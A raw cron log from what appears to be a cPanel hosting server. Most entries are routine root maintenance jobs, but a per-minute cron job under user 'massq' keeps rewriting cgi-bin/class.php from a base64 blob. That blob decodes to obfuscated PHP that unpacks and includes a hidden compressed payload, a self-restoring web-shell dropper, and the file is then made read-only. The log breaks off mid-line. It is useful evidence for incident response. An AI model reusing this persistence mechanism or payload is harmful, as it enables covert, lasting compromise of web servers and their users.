Sep  1 12:00:01 server CROND[11856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:00:01 server CROND[11859]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 12:00:01 server CROND[11860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:00:01 server CROND[11861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:00:01 server CROND[11862]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  1 12:00:01 server CROND[11868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:00:01 server CROND[11865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:00:01 server CROND[11871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:00:01 server CROND[11869]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 12:00:01 server CROND[11863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:01:01 server CROND[12762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:01:01 server CROND[12763]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 12:01:01 server CROND[12764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:01:01 server CROND[12765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:01:01 server run-parts(/etc/cron.hourly)[12763]: starting 0anacron
Sep  1 12:01:01 server run-parts(/etc/cron.hourly)[12784]: finished 0anacron
Sep  1 12:02:01 server CROND[13172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:02:01 server CROND[13174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:02:01 server CROND[13173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:03:01 server CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:03:01 server CROND[13630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:03:01 server CROND[13631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:04:01 server CROND[14032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:04:01 server CROND[14033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:04:01 server CROND[14034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:05:01 server CROND[14532]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:05:01 server CROND[14552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:05:01 server CROND[14558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:05:01 server CROND[14556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:05:01 server CROND[14557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:05:01 server CROND[14554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:05:01 server CROND[14555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:05:01 server CROND[14560]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:06:01 server CROND[15398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:06:01 server CROND[15399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:06:01 server CROND[15400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:07:01 server CROND[15790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:07:01 server CROND[15791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:07:01 server CROND[15792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:08:01 server CROND[16182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:08:01 server CROND[16183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:08:01 server CROND[16184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:09:01 server CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:09:01 server CROND[16581]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 12:09:01 server CROND[16586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:09:01 server CROND[16587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:10:02 server CROND[17080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:10:02 server CROND[17082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:10:02 server CROND[17088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:10:02 server CROND[17087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:10:02 server CROND[17089]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:10:02 server CROND[17091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:10:02 server CROND[17086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:10:02 server CROND[17092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:11:01 server CROND[17932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkp